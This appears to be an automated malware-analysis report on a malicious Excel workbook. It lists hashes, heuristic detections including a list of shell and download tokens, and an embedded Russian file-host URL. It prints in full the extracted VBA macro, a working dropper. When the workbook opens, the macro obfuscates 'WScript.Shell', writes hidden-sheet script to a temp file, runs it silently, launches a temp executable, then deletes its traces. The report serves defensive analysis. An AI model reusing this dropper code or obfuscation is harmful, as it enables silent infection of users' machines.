Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d620e84e04ad7841…

MALICIOUS

Office (OLE)

118.1 KB Created: 2013-02-05 10:04:55 Authoring application: Microsoft Excel First seen: 2015-10-02
MD5: 0062ca9f17b0e4db453ba5a6a2d50829 SHA-1: d0924efaa08cebbc92dc850d3e38f988c68b9eb1 SHA-256: d620e84e04ad7841311a4d58d975ae35f8275683bc7402fe38195db277e840ec
250 Risk Score

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    affq = affs & ".Shell"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WshShell = CreateObject(affq)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • ASP webshell / backdoor source high WEBSHELL_ASP
    The file contains classic ASP webshell code — eval/Execute over Request input, or WScript.Shell.Run of request data — i.e. server-side remote-command-execution backdoor source.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://s02.yapfiles.ru/files/1225340/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2746 bytes
SHA-256: 79723fcf392a8c09438dcea388d661bc60fc4faca5bfe10a5b94291176b6b456
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
On Error GoTo Ends

Dim PatToSve
PatToSve = "%TMP%\321.js"

'==================================================
Dim WshShell, affq, afff, affs
affq = "WSc"
afff = "ript"
affs = affq & afff
affq = affs & ".Shell"
Set WshShell = CreateObject(affq)

PatToSve = WshShell.ExpandEnvironmentStrings(PatToSve)

Set s = CreateObject("ADODB.Stream")
s.Mode = 3
s.Type = 2
s.Open
s.WriteText Worksheets("Code").Range("B4").Value
Call s.SaveToFile(PatToSve, 2)
WshShell.Run "wscript """ & PatToSve & """", 0, True

WshShell.Run WshShell.ExpandEnvironmentStrings("%TMP%\321.exe"), 0, 0

Ends:

Set MainSheet = Application.ThisWorkbook.Sheets("Total")
Set StartSheet = Application.ThisWorkbook.Sheets("Warning")
MainSheet.Visible = True
StartSheet.Visible = xlVeryHide

Kill PatToSve

End Sub


Sub ToStart()
Set MainSheet = Application.ThisWorkbook.Sheets("Total")
Set StartSheet = Application.ThisWorkbook.Sheets("Warning")
StartSheet.Visible = True
MainSheet.Visible = xlVeryHide
Application.ThisWorkbook.Sheets("Code").Visible = xlVeryHide
End Sub

Sub ExpandAll()
Set MainSheet = Application.ThisWorkbook.Sheets("Total")
Set StartSheet = Application.ThisWorkbook.Sheets("Warning")
StartSheet.Visible = True
MainSheet.Visible = True
Application.ThisWorkbook.Sheets("Code").Visible = True
End Sub





Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_Activate()

End Sub

Private Sub Worksheet_SelectionChange(ByVal Target As Range)

End Sub

Attribute VB_Name = "Module1"

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True